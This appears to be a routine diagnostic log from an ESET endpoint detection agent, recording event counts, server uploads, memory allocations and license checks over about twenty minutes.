2026-03-04 16:56:25 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 16:52:21, To:, 2026-03-04 16:56:25, Duration (s):, 244, Events Per Second:, 16.793, Events:, 4102, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3400, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 699, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 455545
2026-03-04 16:56:26 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s359ms.
2026-03-04 16:56:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7698 KB; ModuleMetadata: 1973 KB; ProcessInfo: 1524 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 550 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; cloudutils::CloudData: 137 KB; rules::ProcessConditionsCache: 136 KB; BaseEvent: 91 KB; BatchSerializer::EventsQueueTag: 23 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 13847 KB;
2026-03-04 16:57:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7698 KB; ModuleMetadata: 1973 KB; ProcessInfo: 1931 KB; TcpIpConnectionsManager: 585 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; BaseEvent: 279 KB; rules::ProcessConditionsCache: 202 KB; cloudutils::CloudData: 137 KB; BatchSerializer::EventsQueueTag: 75 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 14598 KB;
2026-03-04 16:58:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 16:58:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 16:58:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 16:58:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 16:58:52 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 16:58:52 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 16:58:52 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 16:58:52 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 16:58:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7698 KB; ProcessInfo: 2292 KB; ModuleMetadata: 1973 KB; TcpIpConnectionsManager: 588 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 514 KB; BaseEvent: 457 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; rules::ProcessConditionsCache: 181 KB; cloudutils::CloudData: 137 KB; BatchSerializer::EventsQueueTag: 121 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 15168 KB;
2026-03-04 16:59:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 7698 KB; ProcessInfo: 2649 KB; ModuleMetadata: 1973 KB; BaseEvent: 633 KB; TcpIpConnectionsManager: 576 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 516 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; BatchSerializer::EventsQueueTag: 168 KB; rules::ProcessConditionsCache: 154 KB; cloudutils::CloudData: 137 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 15711 KB;
2026-03-04 17:00:25 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 16:56:24, To:, 2026-03-04 17:00:25, Duration (s):, 241, Events Per Second:, 16.985, Events:, 4101, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3406, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 694, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456562
2026-03-04 17:00:27 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s392ms.
2026-03-04 17:00:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ModuleMetadata: 1973 KB; ProcessInfo: 1558 KB; TcpIpConnectionsManager: 560 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 558 KB; rules::AncestorEvaluations: 552 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; rules::ProcessConditionsCache: 211 KB; cloudutils::CloudData: 137 KB; BaseEvent: 90 KB; BatchSerializer::EventsQueueTag: 24 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 13 KB; ProcessInfoCommandLineTag: 12 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 21701 KB;
2026-03-04 17:01:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ModuleMetadata: 1973 KB; ProcessInfo: 1918 KB; TcpIpConnectionsManager: 558 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 520 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; BaseEvent: 271 KB; rules::ProcessConditionsCache: 154 KB; cloudutils::CloudData: 137 KB; BatchSerializer::EventsQueueTag: 72 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 22188 KB;
2026-03-04 17:02:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ProcessInfo: 2285 KB; ModuleMetadata: 1973 KB; TcpIpConnectionsManager: 552 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 521 KB; BaseEvent: 450 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; rules::ProcessConditionsCache: 137 KB; cloudutils::CloudData: 137 KB; BatchSerializer::EventsQueueTag: 119 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 22758 KB;
2026-03-04 17:03:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 17:03:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 17:03:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 17:03:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 17:03:52 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 17:03:52 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 17:03:52 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 17:03:52 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 17:03:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ProcessInfo: 2645 KB; ModuleMetadata: 1973 KB; BaseEvent: 629 KB; TcpIpConnectionsManager: 555 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; BatchSerializer::EventsQueueTag: 166 KB; cloudutils::CloudData: 137 KB; rules::ProcessConditionsCache: 125 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 23325 KB;
2026-03-04 17:04:32 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 17:00:25, To:, 2026-03-04 17:04:32, Duration (s):, 247, Events Per Second:, 16.568, Events:, 4093, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3384, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 708, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 454298
2026-03-04 17:04:33 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s358ms.
2026-03-04 17:04:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ModuleMetadata: 1973 KB; ProcessInfo: 1452 KB; TcpIpConnectionsManager: 553 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 506 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; rules::ProcessConditionsCache: 179 KB; cloudutils::CloudData: 137 KB; BaseEvent: 72 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 19 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 21477 KB;
2026-03-04 17:05:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ModuleMetadata: 1973 KB; ProcessInfo: 1816 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 550 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; BaseEvent: 252 KB; rules::ProcessConditionsCache: 139 KB; cloudutils::CloudData: 137 KB; BatchSerializer::EventsQueueTag: 67 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 22025 KB;
2026-03-04 17:06:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ProcessInfo: 2201 KB; ModuleMetadata: 1973 KB; TcpIpConnectionsManager: 572 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; BaseEvent: 439 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; rules::ProcessConditionsCache: 178 KB; cloudutils::CloudData: 137 KB; BatchSerializer::EventsQueueTag: 116 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 22710 KB;
2026-03-04 17:07:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ProcessInfo: 2558 KB; ModuleMetadata: 1973 KB; BaseEvent: 614 KB; TcpIpConnectionsManager: 568 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 511 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; BatchSerializer::EventsQueueTag: 163 KB; cloudutils::CloudData: 137 KB; rules::ProcessConditionsCache: 136 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 23244 KB;
2026-03-04 17:08:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 17:08:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 17:08:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 17:08:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 17:08:33 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 17:04:31, To:, 2026-03-04 17:08:33, Duration (s):, 242, Events Per Second:, 17.009, Events:, 4121, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3424, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 696, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 459932
2026-03-04 17:08:34 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s364ms.
2026-03-04 17:08:52 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 17:08:52 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 17:08:52 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 17:08:52 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 17:08:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ModuleMetadata: 1973 KB; ProcessInfo: 1471 KB; TcpIpConnectionsManager: 581 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; rules::ProcessConditionsCache: 188 KB; cloudutils::CloudData: 137 KB; BaseEvent: 66 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 17 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 21527 KB;
2026-03-04 17:09:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ModuleMetadata: 1973 KB; ProcessInfo: 1877 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 547 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 514 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; BaseEvent: 256 KB; rules::ProcessConditionsCache: 184 KB; cloudutils::CloudData: 137 KB; BatchSerializer::EventsQueueTag: 69 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 18 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 22148 KB;
2026-03-04 17:10:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ProcessInfo: 2244 KB; ModuleMetadata: 1973 KB; TcpIpConnectionsManager: 555 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 518 KB; BaseEvent: 436 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; rules::ProcessConditionsCache: 172 KB; cloudutils::CloudData: 137 KB; BatchSerializer::EventsQueueTag: 115 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 18 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 22742 KB;
2026-03-04 17:11:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ProcessInfo: 2607 KB; ModuleMetadata: 1973 KB; BaseEvent: 615 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 534 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 517 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; BatchSerializer::EventsQueueTag: 163 KB; rules::ProcessConditionsCache: 161 KB; cloudutils::CloudData: 137 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 18 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 23298 KB;
2026-03-04 17:12:33 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 17:08:32, To:, 2026-03-04 17:12:33, Duration (s):, 241, Events Per Second:, 17.010, Events:, 4112, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3409, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 702, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 460498
2026-03-04 17:12:35 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s390ms.
2026-03-04 17:12:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ModuleMetadata: 1973 KB; ProcessInfo: 1407 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 524 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 519 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; rules::ProcessConditionsCache: 138 KB; cloudutils::CloudData: 137 KB; BaseEvent: 55 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 14 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 21350 KB;
2026-03-04 17:13:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 17:13:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 17:13:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 17:13:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 17:13:52 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 17:13:52 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 17:13:52 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 17:13:52 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 17:13:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ModuleMetadata: 1973 KB; ProcessInfo: 1766 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 529 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 507 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; BaseEvent: 233 KB; cloudutils::CloudData: 137 KB; rules::ProcessConditionsCache: 120 KB; BatchSerializer::EventsQueueTag: 61 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 21910 KB;
2026-03-04 17:14:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ProcessInfo: 2126 KB; ModuleMetadata: 1973 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 527 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 507 KB; BaseEvent: 411 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; cloudutils::CloudData: 137 KB; BatchSerializer::EventsQueueTag: 107 KB; rules::ProcessConditionsCache: 107 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 22480 KB;
2026-03-04 17:15:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ProcessInfo: 2495 KB; ModuleMetadata: 1973 KB; BaseEvent: 592 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 527 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; BatchSerializer::EventsQueueTag: 154 KB; cloudutils::CloudData: 137 KB; rules::ProcessConditionsCache: 98 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 23070 KB;
2026-03-04 17:16:45 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 17:12:36, To:, 2026-03-04 17:16:45, Duration (s):, 249, Events Per Second:, 16.484, Events:, 4110, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3388, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 721, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456483
2026-03-04 17:16:46 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s392ms.
2026-03-04 17:16:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ModuleMetadata: 1973 KB; ProcessInfo: 1357 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 526 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; cloudutils::CloudData: 137 KB; rules::ProcessConditionsCache: 88 KB; BaseEvent: 23 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 9 KB; BatchSerializer::EventsQueueTag: 6 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 21201 KB;
2026-03-04 17:17:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ModuleMetadata: 1973 KB; ProcessInfo: 1749 KB; TcpIpConnectionsManager: 555 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; BaseEvent: 206 KB; rules::ProcessConditionsCache: 154 KB; cloudutils::CloudData: 137 KB; BatchSerializer::EventsQueueTag: 55 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 21924 KB;
2026-03-04 17:18:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 17:18:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 17:18:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 17:18:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 17:18:52 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 17:18:52 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 17:18:52 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 17:18:52 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 17:18:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ProcessInfo: 2135 KB; ModuleMetadata: 1973 KB; TcpIpConnectionsManager: 578 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; BaseEvent: 392 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; rules::ProcessConditionsCache: 201 KB; cloudutils::CloudData: 137 KB; BatchSerializer::EventsQueueTag: 104 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 22614 KB;
